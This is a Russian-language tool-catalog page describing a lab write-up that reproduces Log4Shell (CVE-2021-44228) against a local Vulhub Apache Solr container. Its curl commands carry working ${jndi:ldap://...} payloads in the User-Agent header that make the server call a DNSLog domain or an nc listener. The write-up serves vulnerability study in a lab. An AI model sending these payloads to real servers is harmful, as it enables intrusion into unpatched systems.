Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Log4Shell-Vulnerability-Replication — CVE-2021-44228 уязвимость воспроизведение полная запись (включая настройку среды, запуск проверки) | Kitploit
Инструменты/GitHubGitHub/hmxh123/log4shell-vulnerability-replication
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubhmxh123/log4shell-vulnerability-replication

Log4Shell-Vulnerability-Replication

CVE-2021-44228 уязвимость воспроизведение полная запись (включая настройку среды, запуск проверки)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2 месяцев назадЕщё не проверено

CVE-2021-44228 (Log4Shell) полное воспроизведение уязвимости

Данная запись основана на полигоне Apache Solr 8.11.0, предоставленном Vulhub, и полностью воспроизводит уязвимость внедрения JNDI в Log4j2, успешно подтверждая её существование с помощью DNSLog и локального LDAP-прослушивания.

1. Экспериментальная среда

  • Операционная система: Windows 11 + WSL2 (Ubuntu)

  • Платформа контейнеров: Docker Desktop 4.76

  • Источник полигона: Vulhub (vulhub/log4j/CVE-2021-44228)

  • Целевая служба: Apache Solr 8.11.0 (содержит log4j-core 2.14.1)

  • Атакующий компьютер: локальный хост (одновременно выступает в роли клиента DNSLog и прослушивателя LDAP)

2. Процесс настройки среды

2.1 Получение исходного кода Vulhub

Из-за нестабильного прямого соединения с GitHub используется зеркало Gitee для ускорения:

root@kitploit:~

cd D:\\SecWork

git clone https://gitee.com/hanxu2486/vulhub.git
2.2 Решение проблемы загрузки образов Docker при работе из-под китайского интернета
Настройка ускорителя зеркал Alibaba Cloud (войдите в систему управления образами контейнеров для получения персонального адреса):

Откройте Docker Desktop → Settings → Docker Engine

Измените registry-mirrors:

json
{
  "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
Нажмите Apply & Restart

Если всё ещё возникает TLS handshake timeout, выполните в WSL sudo hwclock -s для синхронизации времени.

2.3 Запуск контейнера Solr
bash
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
Вывод показывает успех:

text
✔ Image vulhub/solr:8.11.0    Pulled    117.7s
✔ Container cve-2021-44228-solr-1    Started
Перейдите по адресу http://localhost:8983/solr – появится интерфейс управления Solr, среда готова.

## 3. Шаги воспроизведения уязвимости
### 3.1 Создание тестового Core
По умолчанию в Solr нет core, его нужно создать вручную:

bash
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
Возвращается "status":0, core test успешно создан.

### 3.2 Проверка наличия уязвимости с помощью DNSLog
Откройте браузер и перейдите на http://dnslog.cn, нажмите Get SubDomain, получите временное доменное имя, например abc123.dnslog.cn

Выполните в командной строке (используйте curl.exe, чтобы избежать конфликта псевдонимов PowerShell):

bash
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Вернитесь на страницу http://dnslog.cn, нажмите Refresh Record – сразу появится запись DNS-разрешения, что доказывает наличие уязвимости.

### 3.3 Подтверждение с помощью локального прослушивания (углублённая проверка)
В WSL запустите прослушивание: nc -lvp 1389

Получите IP хоста (выполните ipconfig в Windows PowerShell, найдите IP виртуального сетевого адаптера WSL, например 172.30.208.1)

Отправьте вредоносный запрос с локальным IP:

bash
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Наблюдайте окно nc – отобразится информация о подключении:

text
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
Это доказывает, что Solr успешно инициировал LDAP-запрос к атакующей машине – уязвимость воспроизведена.

## 4. Краткое описание принципа уязвимости
Функция JndiLookup, предоставляемая Apache Log4j2, позволяет использовать плейсхолдеры в формате ${jndi:ldap://...} в сообщениях журнала. При записи сообщения журнала Log4j2 обрабатывает этот плейсхолдер и пытается обратиться к удалённому LDAP-серверу через JNDI. Злоумышленник может создать вредоносный LDAP-сервер, возвращающий полезную нагрузку Java для десериализации, что позволяет выполнить удалённый код.

В данном воспроизведении, установив заголовок User-Agent в виде вредоносной нагрузки, Solr записывает этот заголовок при обработке запроса, что инициирует JNDI-запрос и доказывает наличие уязвимости.

## 5. Итоги эксперимента
✅ Успешно развёрнута среда уязвимости Vulhub, преодолены различные проблемы, связанные с работой из-под китайского интернета (перехват DNS, ускорение зеркал, синхронизация времени WSL и т.д.).

✅ Самостоятельно выполнено срабатывание уязвимости, подтверждено внедрение JNDI с помощью DNSLog и локального прослушивания двумя способами.

✅ Углублённое понимание принципа уязвимости Log4Shell и цепочки атаки через JNDI-внедрение.

✅ Получен практический опыт устранения неполадок в Docker-сети, настройки WSL2, очистки прокси Git и т.д.

## 6. Сводка по устранению неполадок
| Проблема | Коренная причина | Решение |
|---|---|---|
| git clone 502 / превышение времени ожидания соединения | Перехват DNS / помехи от прокси | Использовать зеркало Gitee, очистить прокси Git, обновить DNS |
| Docker pull образа 429 | Ограничение скорости публичного реестра | Настроить ускоритель Alibaba Cloud |
| TLS handshake timeout | Рассинхронизация времени WSL2 | sudo hwclock -s для синхронизации времени |
| Уязвимость не срабатывает | Не создан core или неправильное расположение нагрузки | Создать core, использовать заголовок User-Agent |

## 7. Полный список команд
bash
# Клонирование Vulhub (используя зеркало Gitee)
git clone https://gitee.com/hanxu2486/vulhub.git

# Переход в директорию уязвимости
cd D:\SecWork\vulhub\log4j\CVE-2021-44228

# Запуск среды
docker-compose up -d

# Создание core Solr
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

# Проверка с DNSLog
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# Локальная проверка прослушиванием (запустите nc в WSL)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# Остановка среды
docker-compose down

## 8. Ссылки
Официальный проект Vulhub

Подробности CVE-2021-44228

Платформа DNSLog

Дата составления: июнь 2026 г.
Автор: HanXu
Репозиторий: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication
Скачать инструмент